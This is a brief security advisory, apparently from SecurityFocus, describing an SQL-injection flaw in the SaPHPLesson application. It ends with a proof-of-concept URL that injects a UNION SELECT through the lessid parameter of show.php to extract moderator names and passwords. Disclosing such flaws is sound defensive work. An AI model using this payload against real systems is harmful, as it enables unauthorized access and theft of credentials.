source: https://www.securityfocus.com/bid/18117/info

SaPHPLesson is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/lesons/show.php?lessid=1%20union%20select%20null,null,null,ModName,ModPassword,ModPassword,ModPassword%20FROM%20modretor